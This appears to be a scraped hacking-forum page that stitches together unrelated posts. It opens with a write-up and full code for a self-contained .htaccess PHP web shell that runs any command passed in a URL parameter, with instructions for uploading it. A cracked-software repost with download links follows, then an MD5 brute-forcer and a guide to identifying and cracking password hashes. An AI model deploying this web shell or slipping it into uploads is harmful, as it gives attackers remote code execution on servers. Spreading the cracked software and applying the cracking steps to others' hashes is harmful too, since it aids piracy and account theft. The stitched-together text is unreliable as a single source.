ATTACKING WEBSERVERS VIA .HTACCESS

A while back I was testing a CMS that had a curious feature, all uploaded files were placed in their own directory. This was not a security enhancement as the application allowed php files to be uploaded. However I coudn't help ask, what if php uploads had been restricted? The answer was .htaccess files. Using SetHandler in a .htaccess file is well known, but does not lead to remote code execution. So after some thinking I put together some self contained .htaccess web shells. I wrote both a php and a server side include shells, but other options can easily be added (jsp, mod_perl, etc). 

This works by first diverting the default apache .htaccess access restriction from within the .htaccess file so we can access it as a url. Next we reconfigure the .htaccess extension to be treated as a dynamic content script and finally we have our payload. The attack works because the .htaccess parsing and processing for apache configuration directives occur before the .htaccess file is processed as a web request. There is a relatively small gotcha, the payload has to be commented out with a # at the start so it doesn't get interpreted by apache and likewise, the script interpreter must ignore the apache directives. PHP lends itself well to this as any content not within the <?php ?> tags are presented as is.
 

01	# Self contained .htaccess web shell - Part of the htshell project

02	# Written by Wireghoul - http://www.justanotherhacker.com

03

04	# Override default deny rule to make .htaccess file accessible over web

05	<Files ~ "^\.ht">

06	Order allow,deny

07	Allow from all

08

</Files>

09

10	# Make .htaccess file be interpreted as php file. This occur after apache has interpreted

11	# the apache directoves from the .htaccess file

12	AddType application/x-httpd-php .htaccess

13

14	###### SHELL ###### <?php echo "\n";passthru($_GET['c']." 2>&1"); ?>###### LLEHS ######

Simply upload the preferred shell as a .htaccess file and then visit the .htaccess file via the url http://domain/path/.htaccess?c=command for remote code execution. The collection of attack files are collectively accessible from my github htshells repository.

source : http://www.justanotherhacker.com 

Proxy Switcher Pro 5.6.1.6308+patch

Proxy Switcher Pro 5.6.1.6308 | 5.33 Mb


Using Proxy Switcher, you can visit any web resources without fear of unauthorized save your data. You can be assured that your data will not fall into the spam lists that your IP address, operating system and internet browser are not defined.

Features of Proxy Switcher:
* Ability to change the proxy settings on the fly. "
* Automatic connection proxy for anonymous surfing on the Internet.
* Support for working with such popular browsers like: Internet Explorer, Firefox, Opera, etc.
* Ability to easily manage a list of proxy servers.
* Ability to check proxy servers on serviceability.
* Ability to load the list of anonymous proxy servers.

download:

Proxy Switcher


Virus-scan:

http://virusscan.jotti.org/en/scanre...fe9c8e88b1fcb5

Virus-scan:
http://virusscan.jotti.org/en/scanre...58ec0cff014003


credit : srinivash tripathi

MD5 Bruter + Wordlist Generator

1. Load your Wordlist
2. Enter an valid MD5-Hash
3. Press Start
4. If the tool found you MD5-Hash, It'll report it to you, so you can copy it or whatever

I've also added an wordlist generator, you can choose the string length and create a wordlist like:

A
B
C
...
ZZZ999


Here are some screenshots:










VirusScan 0/46

Download

credit : Beckz

Different Types of Hashes and Salts

What Is a Hash?

Ok, firstly alot of you still believe that hashes can be "decrypted", this is a common misconception because hashes are generated by One Way Cryptographic Hash Algorithms these means the algorithm that created them CAN NOT be reversed to determine the plain text password.

These one way functions are used by computers to prevent storing passwords in plaintext in memory, instead when a password is entered (for example at a log in screen) a one way hash algorithm is applied to the supplied password and then the hashed output is compared to the hash for that user, stored in memory. If the two hashes match, the passwords are the same and the user is authenticated, if the two hashes are not the same the passwords do not match and the user is denied access.


Different Types Of Hashes And How To Identify Them
MD5 - The most common hash you will come across in the wild is an MD5 hash (Message-Digest algorithm)

These hashes are easily identified by the following factors:

• They are always 32 characters in length (128 Bits)
• They are always hexadecimal (Only use characters 0-9 and A-F)

Code:

Example - f5d1278e8109edd94e1e4197e04873b9

If the hash breaks one of these rules - IT IS NOT MD5.

SHA1 - Still used frequently on the internet and is one of a large family of Secure Hash Algorithms.

These hashes are easily identified by the following factors:

• They are always 40 Characters in length (160 bits)
• They are always hexadecimal (Only use characters 0-9 and A-F)

Code:

Example - ab4d8d2a5f480a137067da17100271cd176607a1

If the hash breaks one of these rules - IT IS NOT SHA1.

MySQL < 4.1 - These aren't used very often but still come up on  very often because people have no idea what to do with them, they are used in older versions of Mysql.

These hashes are easily identified by the following factors

• They are always 16 Characters in length (64 bits)
• They are always hexadecimal (Only use characters 0-9 and A-F)

If the hash breaks one of these rules - IT IS NOT MYSQL < 4.1.

Code:

Example - 606727496645bcba

MYSQL5 - Used in newer versions of MYSQL to store database user passwords.

These hashes are easily identified by the following factors

• They are always 41 characters in length
• They are always capitalized
• They always begin with an asterisk 

If the hash breaks one of these rules - IT IS NOT MYSQL5.

Code:

Example - *C8EB599B8E8EE7BE9F1A5691B7BC9ECCB8DE1C75

MD5(Wordpress) - Used in word press driven sites, one of the most commonly confused hashes by everyone

These Hashes are easily identified by the following factors

• They always start with $P$
• They are always variable case alpha numeric (0-9 A-Z a-z)
• The are always 34 characters long

If the hash breaks one of these rules - IT IS NOT MD5(Wordpress).

Code:

Example - $P$9QGUsR07ob2qNMbmSCRh3Moi6ehJZR1

MD5(phpBB3) - Used in PHPBB forums, another commonly miss identified hash, especially amongst skids.

These Hashes are easily identified by the following factors

• They always start with $H$
• They are always variable case alpha numeric (0-9 A-Z a-z)
• The are always 34 characters long

If the hash breaks one of these rules - IT IS NOT MD5(PhpBB).


Code:

Example - $H$9xAbu5SruQM5WvBldAnS46kQMEw2EQ0

SALTS 

Ok now there is ALOT of confusion around salts , so im going to try and quickly clean this up - the most commonly salted hash is MD5 because it is cryptographically weak and easy to crack. So a salt gets added to the password before hashing to increase the parity. For example MD5($password.$salt).

Salted MD5 - Used in a large amount of applications to increase hash parity and to increase the time it takes to crack.

These Hashes are easily identified by the following factors

• They consist of two blocks connected by a colon, the first is the hash the second is the salt.
• The first part of the salted hash is hexadecimal, the second is variable case alphanumeric.
• They first part will always be 32 characters long
• The second part can be any length.

If the hash breaks one of these rules - IT IS NOT A SALTED MD5.

Code:

Example - 49adee90123f8c77d9020bba968c34dd:PS2en

Warning - in some cases the salt can contain symbols (but this is rare)
NOTE - You need both the salt AND the hash to decrypt a salted md5.

How To Crack HashesMD5 - MD5 hashes are easily broken in the present day due to the prevalence of online MD5 crackers such as  www.hashchecker.de. However if you cant crack your hash online then you will need to use a tool such as John The Ripper or more advanced hash crackers such as Password Pro or HashCat.



Credits :- Solaris , John
source : http://www.101hacker.com